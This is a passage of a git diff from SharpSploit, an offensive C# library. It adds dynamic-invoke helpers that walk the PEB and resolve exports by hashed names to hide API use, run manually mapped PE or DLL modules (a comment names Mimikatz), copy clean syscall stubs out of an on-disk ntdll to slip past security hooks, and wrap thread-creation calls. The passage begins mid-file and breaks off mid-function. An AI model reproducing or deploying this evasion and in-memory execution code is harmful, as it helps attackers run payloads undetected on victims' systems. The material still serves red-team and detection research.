} + } + else if (hModule == IntPtr.Zero) + { + throw new DllNotFoundException(DLLName + ", Dll was not found."); + } + + return GetExportAddress(hModule, FunctionHash, Key); + } + + /// + /// Helper for getting the base address of a module loaded by the current process. This base + /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for + /// manual export parsing. This function uses the .NET System.Diagnostics.Process class. /// /// Ruben Boonen (@FuzzySec) /// The name of the DLL (e.g. "ntdll.dll"). @@ -108,10 +171,82 @@ public static IntPtr GetLoadedModuleAddress(string DLLName) return Mod.BaseAddress; } } - return IntPtr.Zero; } + /// + /// Helper for getting the base address of a module loaded by the current process. This base + /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for + /// manual export parsing. This function parses the _PEB_LDR_DATA structure. + /// + /// Ruben Boonen (@FuzzySec) + /// The name of the DLL (e.g. "ntdll.dll"). + /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. + public static IntPtr GetPebLdrModuleEntry(string DLLName) + { + // Get _PEB pointer + Execute.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1)); + + // Set function variables + bool Is32Bit = false; + UInt32 LdrDataOffset = 0; + UInt32 InLoadOrderModuleListOffset = 0; + if (IntPtr.Size == 4) + { + Is32Bit = true; + LdrDataOffset = 0xc; + InLoadOrderModuleListOffset = 0xC; + } + else + { + LdrDataOffset = 0x18; + InLoadOrderModuleListOffset = 0x10; + } + + // Get module InLoadOrderModuleList -> _LIST_ENTRY + IntPtr PEB_LDR_DATA = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + LdrDataOffset)); + IntPtr pInLoadOrderModuleList = (IntPtr)((UInt64)PEB_LDR_DATA + InLoadOrderModuleListOffset); + Execute.Native.LIST_ENTRY le = (Execute.Native.LIST_ENTRY)Marshal.PtrToStructure(pInLoadOrderModuleList, typeof(Execute.Native.LIST_ENTRY)); + + // Loop entries + IntPtr flink = le.Flink; + IntPtr hModule = IntPtr.Zero; + PE.LDR_DATA_TABLE_ENTRY dte = (PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(PE.LDR_DATA_TABLE_ENTRY)); + while (dte.InLoadOrderLinks.Flink != le.Blink) + { + // Match module name + if (Marshal.PtrToStringUni(dte.FullDllName.Buffer).EndsWith(DLLName, StringComparison.OrdinalIgnoreCase)) + { + hModule = dte.DllBase; + } + + // Move Ptr + flink = dte.InLoadOrderLinks.Flink; + dte = (PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(PE.LDR_DATA_TABLE_ENTRY)); + } + + return hModule; + } + + /// + /// Generate an HMAC-MD5 hash of the supplied string using an Int64 as the key. This is useful for unique hash based API lookups. + /// + /// Ruben Boonen (@FuzzySec) + /// API name to hash. + /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). + /// string, the computed MD5 hash value. + public static string GetAPIHash(string APIName, long Key) + { + byte[] data = Encoding.UTF8.GetBytes(APIName.ToLower()); + byte[] kbytes = BitConverter.GetBytes(Key); + + using (HMACMD5 hmac = new HMACMD5(kbytes)) + { + byte[] bHash = hmac.ComputeHash(data); + return BitConverter.ToString(bHash).Replace("-", ""); + } + } + /// /// Given a module base address, resolve the address of a function by manually walking the module export table. /// @@ -151,8 +286,8 @@ public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) // Loop the array of export name RVA's for (int i = 0; i < NumberOfNames; i++) { - String FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); - if (FunctionName.ToLower() == ExportName.ToLower()) + string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); + if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) { Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); @@ -174,5 +309,428 @@ public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) } return FunctionPtr; } + + /// + /// Given a module base address, resolve the address of a function by manually walking the module export table. + /// + /// Ruben Boonen (@FuzzySec) + /// A pointer to the base address where the module is loaded in the current process. + /// The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx). + /// IntPtr for the desired function. + public static IntPtr GetExportAddress(IntPtr ModuleBase, short Ordinal) + { + IntPtr FunctionPtr = IntPtr.Zero; + try + { + // Traverse the PE header in memory + Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); + Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); + Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; + Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); + Int64 pExport = 0; + if (Magic == 0x010b) + { + pExport = OptHeader + 0x60; + } + else + { + pExport = OptHeader + 0x70; + } + + // Read -> IMAGE_EXPORT_DIRECTORY + Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); + Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); + Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); + Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); + Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); + Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); + Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); + + // Loop the array of export name RVA's + for (int i = 0; i < NumberOfNames; i++) + { + Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; + if (FunctionOrdinal == Ordinal) + { + Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); + FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); + break; + } + } + } + catch + { + // Catch parser failure + throw new InvalidOperationException("Failed to parse module exports."); + } + + if (FunctionPtr == IntPtr.Zero) + { + // Export not found + throw new MissingMethodException(Ordinal + ", ordinal not found."); + } + return FunctionPtr; + } + + /// + /// Given a module base address, resolve the address of a function by manually walking the module export table. + /// + /// Ruben Boonen (@FuzzySec) + /// A pointer to the base address where the module is loaded in the current process. + /// Hash of the exported procedure. + /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). + /// IntPtr for the desired function. + public static IntPtr GetExportAddress(IntPtr ModuleBase, string FunctionHash, long Key) + { + IntPtr FunctionPtr = IntPtr.Zero; + try + { + // Traverse the PE header in memory + Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); + Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); + Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; + Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); + Int64 pExport = 0; + if (Magic == 0x010b) + { + pExport = OptHeader + 0x60; + } + else + { + pExport = OptHeader + 0x70; + } + + // Read -> IMAGE_EXPORT_DIRECTORY + Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); + Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); + Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); + Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); + Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); + Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); + Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); + + // Loop the array of export name RVA's + for (int i = 0; i < NumberOfNames; i++) + { + string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); + if (GetAPIHash(FunctionName, Key).Equals(FunctionHash, StringComparison.OrdinalIgnoreCase)) + { + Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; + Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); + FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); + break; + } + } + } + catch + { + // Catch parser failure + throw new InvalidOperationException("Failed to parse module exports."); + } + + if (FunctionPtr == IntPtr.Zero) + { + // Export not found + throw new MissingMethodException(FunctionHash + ", export hash not found."); + } + return FunctionPtr; + } + + /// + /// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress. + /// + /// Ruben Boonen (@FuzzySec) + /// A pointer to the base address where the module is loaded in the current process. + /// The name of the export to search for (e.g. "NtAlertResumeThread"). + /// IntPtr for the desired function. + public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, string ExportName) + { + Execute.Native.ANSI_STRING aFunc = new Execute.Native.ANSI_STRING + { + Length = (ushort)ExportName.Length, + MaximumLength = (ushort)(ExportName.Length + 2), + Buffer = Marshal.StringToCoTaskMemAnsi(ExportName) + }; + + IntPtr pAFunc = Marshal.AllocHGlobal(Marshal.SizeOf(aFunc)); + Marshal.StructureToPtr(aFunc, pAFunc, true); + + IntPtr pFuncAddr = IntPtr.Zero; + Native.LdrGetProcedureAddress(ModuleBase, pAFunc, IntPtr.Zero, ref pFuncAddr); + + Marshal.FreeHGlobal(pAFunc); + + return pFuncAddr; + } + + /// + /// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress. + /// + /// Ruben Boonen (@FuzzySec) + /// A pointer to the base address where the module is loaded in the current process. + /// The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx). + /// IntPtr for the desired function. + public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, short Ordinal) + { + IntPtr pFuncAddr = IntPtr.Zero; + IntPtr pOrd = (IntPtr)Ordinal; + + Native.LdrGetProcedureAddress(ModuleBase, IntPtr.Zero, pOrd, ref pFuncAddr); + + return pFuncAddr; + } + + /// + /// Retrieve PE header information from the module base pointer. + /// + /// Ruben Boonen (@FuzzySec) + /// Pointer to the module base. + /// PE.PE_META_DATA + public static PE.PE_META_DATA GetPeMetaData(IntPtr pModule) + { + PE.PE_META_DATA PeMetaData = new PE.PE_META_DATA(); + try + { + UInt32 e_lfanew = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + 0x3c)); + PeMetaData.Pe = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + e_lfanew)); + // Validate PE signature + if (PeMetaData.Pe != 0x4550) + { + throw new InvalidOperationException("Invalid PE signature."); + } + PeMetaData.ImageFileHeader = (PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure((IntPtr)((UInt64)pModule + e_lfanew + 0x4), typeof(PE.IMAGE_FILE_HEADER)); + IntPtr OptHeader = (IntPtr)((UInt64)pModule + e_lfanew + 0x18); + UInt16 PEArch = (UInt16)Marshal.ReadInt16(OptHeader); + // Validate PE arch + if (PEArch == 0x010b) // Image is x32 + { + PeMetaData.Is32Bit = true; + PeMetaData.OptHeader32 = (PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(OptHeader, typeof(PE.IMAGE_OPTIONAL_HEADER32)); + } + else if (PEArch == 0x020b) // Image is x64 + { + PeMetaData.Is32Bit = false; + PeMetaData.OptHeader64 = (PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(OptHeader, typeof(PE.IMAGE_OPTIONAL_HEADER64)); + } else + { + throw new InvalidOperationException("Invalid magic value (PE32/PE32+)."); + } + // Read sections + PE.IMAGE_SECTION_HEADER[] SectionArray = new PE.IMAGE_SECTION_HEADER[PeMetaData.ImageFileHeader.NumberOfSections]; + for (int i = 0; i < PeMetaData.ImageFileHeader.NumberOfSections; i++) + { + IntPtr SectionPtr = (IntPtr)((UInt64)OptHeader + PeMetaData.ImageFileHeader.SizeOfOptionalHeader + (UInt32)(i * 0x28)); + SectionArray[i] = (PE.IMAGE_SECTION_HEADER)Marshal.PtrToStructure(SectionPtr, typeof(PE.IMAGE_SECTION_HEADER)); + } + PeMetaData.Sections = SectionArray; + } + catch + { + throw new InvalidOperationException("Invalid module base specified."); + } + return PeMetaData; + } + + /// + /// Resolve host DLL for API Set DLL. + /// + /// Ruben Boonen (@FuzzySec) + /// Dictionary, a combination of Key:APISetDLL and Val:HostDLL. + public static Dictionary GetApiSetMapping() + { + Execute.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1)); + UInt32 ApiSetMapOffset = IntPtr.Size == 4 ? (UInt32)0x38 : 0x68; + + // Create mapping dictionary + Dictionary ApiSetDict = new Dictionary(); + + IntPtr pApiSetNamespace = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + ApiSetMapOffset)); + PE.ApiSetNamespace Namespace = (PE.ApiSetNamespace)Marshal.PtrToStructure(pApiSetNamespace, typeof(PE.ApiSetNamespace)); + for (var i = 0; i < Namespace.Count; i++) + { + PE.ApiSetNamespaceEntry SetEntry = new PE.ApiSetNamespaceEntry(); + SetEntry = (PE.ApiSetNamespaceEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)Namespace.EntryOffset + (UInt64)(i * Marshal.SizeOf(SetEntry))), typeof(PE.ApiSetNamespaceEntry)); + string ApiSetEntryName = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.NameOffset), SetEntry.NameLength/2) + ".dll"; + + PE.ApiSetValueEntry SetValue = new PE.ApiSetValueEntry(); + SetValue = (PE.ApiSetValueEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.ValueOffset), typeof(PE.ApiSetValueEntry)); + string ApiSetValue = string.Empty; + if (SetValue.ValueCount != 0) + { + ApiSetValue = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetValue.ValueOffset), SetValue.ValueCount/2); + } + + // Add pair to dict + ApiSetDict.Add(ApiSetEntryName, ApiSetValue); + } + + // Return dict + return ApiSetDict; + } + + /// + /// Call a manually mapped PE by its EntryPoint. + /// + /// Ruben Boonen (@FuzzySec) + /// Module meta data struct (PE.PE_META_DATA). + /// Base address of the module in memory. + /// void + public static void CallMappedPEModule(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) + { + // Call module by EntryPoint (eg Mimikatz.exe) + IntPtr hRemoteThread = IntPtr.Zero; + IntPtr lpStartAddress = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) : + (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint); + + Native.NtCreateThreadEx( + ref hRemoteThread, + Execute.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, + IntPtr.Zero, (IntPtr)(-1), + lpStartAddress, IntPtr.Zero, + false, 0, 0, 0, IntPtr.Zero + ); + } + + /// + /// Call a manually mapped DLL by DllMain -> DLL_PROCESS_ATTACH. + /// + /// Ruben Boonen (@FuzzySec) + /// Module meta data struct (PE.PE_META_DATA). + /// Base address of the module in memory. + /// void + public static void CallMappedDLLModule(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) + { + IntPtr lpEntryPoint = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) : + (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint); + + PE.DllMain fDllMain = (PE.DllMain)Marshal.GetDelegateForFunctionPointer(lpEntryPoint, typeof(PE.DllMain)); + bool CallRes = fDllMain(ModuleMemoryBase, PE.DLL_PROCESS_ATTACH, IntPtr.Zero); + if (!CallRes) + { + throw new InvalidOperationException("Failed to call DllMain -> DLL_PROCESS_ATTACH"); + } + } + + /// + /// Call a manually mapped DLL by Export. + /// + /// Ruben Boonen (@FuzzySec) + /// Module meta data struct (PE.PE_META_DATA). + /// Base address of the module in memory. + /// The name of the export to search for (e.g. "NtAlertResumeThread"). + /// Prototype for the function, represented as a Delegate object. + /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference. + /// Specify whether to invoke the module's entry point. + /// void + public static object CallMappedDLLModuleExport(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, string ExportName, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true) + { + // Call entry point if user has specified + if (CallEntry) + { + CallMappedDLLModule(PEINFO, ModuleMemoryBase); + } + + // Get export pointer + IntPtr pFunc = GetExportAddress(ModuleMemoryBase, ExportName); + + // Call export + return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters); + } + + /// + /// Read ntdll from disk, find/copy the appropriate syscall stub and free ntdll. + /// + /// Ruben Boonen (@FuzzySec) + /// The name of the function to search for (e.g. "NtAlertResumeThread"). + /// IntPtr, Syscall stub + public static IntPtr GetSyscallStub(string FunctionName) + { + // Verify process & architecture + bool isWOW64 = Native.NtQueryInformationProcessWow64Information((IntPtr)(-1)); + if (IntPtr.Size == 4 && isWOW64) + { + throw new InvalidOperationException("Generating Syscall stubs is not supported for WOW64."); + } + + // Find the path for ntdll by looking at the currently loaded module + string NtdllPath = string.Empty; + ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; + foreach (ProcessModule Mod in ProcModules) + { + if (Mod.FileName.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase)) + { + NtdllPath = Mod.FileName; + } + } + + // Alloc module into memory for parsing + IntPtr pModule = Execute.ManualMap.Map.AllocateFileToMemory(NtdllPath); + + // Fetch PE meta data + PE.PE_META_DATA PEINFO = GetPeMetaData(pModule); + + // Alloc PE image memory -> RW + IntPtr BaseAddress = IntPtr.Zero; + IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; + UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders; + + IntPtr pImage = Native.NtAllocateVirtualMemory( + (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize, + Execute.Win32.Kernel32.AllocationType.Commit | Execute.Win32.Kernel32.AllocationType.Reserve, + Execute.Win32.WinNT.PAGE_READWRITE + ); + + // Write PE header to memory + UInt32 BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders); + + // Write sections to memory + foreach (PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections) + { + // Calculate offsets + IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress); + IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData); + + // Write data + BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData); + if (BytesWritten != ish.SizeOfRawData) + { + throw new InvalidOperationException("Failed to write to memory."); + } + } + + // Get Ptr to function + IntPtr pFunc = GetExportAddress(pImage, FunctionName); + if (pFunc == IntPtr.Zero) + { + throw new InvalidOperationException("Failed to resolve ntdll export."); + } + + // Alloc memory for call stub + BaseAddress = IntPtr.Zero; + RegionSize = (IntPtr)0x50; + IntPtr pCallStub = Native.NtAllocateVirtualMemory( + (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize, + Execute.Win32.Kernel32.AllocationType.Commit | Execute.Win32.Kernel32.AllocationType.Reserve, + Execute.Win32.WinNT.PAGE_READWRITE + ); + + // Write call stub + BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pCallStub, pFunc, 0x50); + if (BytesWritten != 0x50) + { + throw new InvalidOperationException("Failed to write to memory."); + } + + // Change call stub permissions + Native.NtProtectVirtualMemory((IntPtr)(-1), ref pCallStub, ref RegionSize, Execute.Win32.WinNT.PAGE_EXECUTE_READ); + + // Free temporary allocations + Marshal.FreeHGlobal(pModule); + RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; + + Native.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Execute.Win32.Kernel32.AllocationType.Reserve); + + return pCallStub; + } } -} +} \ No newline at end of file diff --git a/SharpSploit/Execution/DynamicInvoke/Native.cs b/SharpSploit/Execution/DynamicInvoke/Native.cs index ad0c1a2..a1f7fdb 100644 --- a/SharpSploit/Execution/DynamicInvoke/Native.cs +++ b/SharpSploit/Execution/DynamicInvoke/Native.cs @@ -5,6 +5,8 @@ using System; using System.Runtime.InteropServices; +using Execute = SharpSploit.Execution; + namespace SharpSploit.Execution.DynamicInvoke { /// @@ -12,9 +14,17 @@ namespace SharpSploit.Execution.DynamicInvoke /// public class Native { - public static Execution.Win32.NtDll.NTSTATUS NtCreateThreadEx(ref IntPtr threadHandle, Execution.Win32.WinNT.ACCESS_MASK desiredAccess, - IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, - bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, + public static Execute.Native.NTSTATUS NtCreateThreadEx( + ref IntPtr threadHandle, + Execute.Win32.WinNT.ACCESS_MASK desiredAccess, + IntPtr objectAttributes, + IntPtr processHandle, + IntPtr startAddress, + IntPtr parameter, + bool createSuspended, + int stackZeroBits, + int sizeOfStack, + int maximumStackSize, IntPtr attributeList) { // Craft an array for the arguments @@ -24,14 +34,45 @@ public static Execution.Win32.NtDll.NTSTATUS NtCreateThreadEx(ref IntPtr threadH sizeOfStack, maximumStackSize, attributeList }; + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateThreadEx", + typeof(DELEGATES.NtCreateThreadEx), ref funcargs); + // Update the modified variables threadHandle = (IntPtr)funcargs[0]; - return (Execution.Win32.NtDll.NTSTATUS) Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateThreadEx", - typeof(DELEGATES.NtCreateThreadEx), ref funcargs); + return retValue; + } + + public static Execute.Native.NTSTATUS RtlCreateUserThread( + IntPtr Process, + IntPtr ThreadSecurityDescriptor, + bool CreateSuspended, + IntPtr ZeroBits, + IntPtr MaximumStackSize, + IntPtr CommittedStackSize, + IntPtr StartAddress, + IntPtr Parameter, + ref IntPtr Thread, + IntPtr ClientId) + { + // Craft an array for the arguments + object[] funcargs = + { + Process, ThreadSecurityDescriptor, CreateSuspended, ZeroBits, + MaximumStackSize, CommittedStackSize, StartAddress, Parameter, + Thread, ClientId + }; + + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlCreateUserThread", + typeof(DELEGATES.RtlCreateUserThread), ref funcargs); + + // Update the modified variables + Thread = (IntPtr)funcargs[8]; + + return retValue; } - public static Execution.Win32.NtDll.NTSTATUS NtCreateSection( + public static Execute.Native.NTSTATUS NtCreateSection( ref IntPtr SectionHandle, uint DesiredAccess, IntPtr ObjectAttributes, @@ -47,8 +88,11 @@ public static Execution.Win32.NtDll.NTSTATUS NtCreateSection( SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, AllocationAttributes, FileHandle }; - Execution.Win32.NtDll.NTSTATUS retValue = (Execution.Win32.NtDll.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateSection", - typeof(DELEGATES.NtCreateSection), ref funcargs); + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateSection", typeof(DELEGATES.NtCreateSection), ref funcargs); + if (retValue != Execute.Native.NTSTATUS.Success) + { + throw new InvalidOperationException("Unable to create section, " + retValue); + } // Update the modified variables SectionHandle = (IntPtr) funcargs[0]; @@ -57,7 +101,7 @@ public static Execution.Win32.NtDll.NTSTATUS NtCreateSection( return retValue; } - public static Execution.Win32.NtDll.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr) + public static Execute.Native.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr) { // Craft an array for the arguments object[] funcargs = @@ -65,20 +109,20 @@ public static Execution.Win32.NtDll.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, hProc, baseAddr }; - Execution.Win32.NtDll.NTSTATUS result = (Execution.Win32.NtDll.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtUnmapViewOfSection", + Execute.Native.NTSTATUS result = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtUnmapViewOfSection", typeof(DELEGATES.NtUnmapViewOfSection), ref funcargs); return result; } - public static Execution.Win32.NtDll.NTSTATUS NtMapViewOfSection( + public static Execute.Native.NTSTATUS NtMapViewOfSection( IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, IntPtr CommitSize, IntPtr SectionOffset, - ref uint ViewSize, + ref ulong ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect) @@ -91,16 +135,20 @@ public static Execution.Win32.NtDll.NTSTATUS NtMapViewOfSection( Win32Protect }; - Execution.Win32.NtDll.NTSTATUS retValue = (Execution.Win32.NtDll.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtMapViewOfSection", typeof(DELEGATES.NtMapViewOfSection), ref funcargs); + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtMapViewOfSection", typeof(DELEGATES.NtMapViewOfSection), ref funcargs); + if (retValue != Execute.Native.NTSTATUS.Success && retValue != Execute.Native.NTSTATUS.ImageNotAtBase) + { + throw new InvalidOperationException("Unable to map view of section, " + retValue); + } // Update the modified variables. BaseAddress = (IntPtr) funcargs[2]; - ViewSize = (uint) funcargs[6]; + ViewSize = (ulong) funcargs[6]; return retValue; } - public static void RtlInitUnicodeString(ref Execution.Win32.NtDll.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString) + public static void RtlInitUnicodeString(ref Execute.Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString) { // Craft an array for the arguments object[] funcargs = @@ -111,10 +159,10 @@ public static void RtlInitUnicodeString(ref Execution.Win32.NtDll.UNICODE_STRING Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs); // Update the modified variables - DestinationString = (Execution.Win32.NtDll.UNICODE_STRING)funcargs[0]; + DestinationString = (Execute.Native.UNICODE_STRING)funcargs[0]; } - public static Execution.Win32.NtDll.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Execution.Win32.NtDll.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle) + public static Execute.Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Execute.Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle) { // Craft an array for the arguments object[] funcargs = @@ -122,7 +170,7 @@ public static Execution.Win32.NtDll.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt3 PathToFile, dwFlags, ModuleFileName, ModuleHandle }; - Execution.Win32.NtDll.NTSTATUS retValue = (Execution.Win32.NtDll.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs); + Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs); // Update the modified variables ModuleHandle = (IntPtr)funcargs[3]; @@ -130,6 +178,411 @@ public static Execution.Win32.NtDll.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt3 return retValue; } + public static void RtlZeroMemory(IntPtr Destination, int Length) + { + // Craft an array for the arguments + object[] funcargs = + { + Destination, Length + }; + + Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlZeroMemory", typeof(DELEGATES.RtlZeroMemory), ref funcargs); + } + + public static Execute.Native.NTSTATUS NtQueryInformationProcess(IntPtr hProcess, Execute.Native.PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo) + { + int processInformationLength; + UInt32 RetLen = 0; + + switch (processInfoClass) + { + case Execute.Native.PROCESSINFOCLASS.ProcessWow64Information: + pProcInfo = 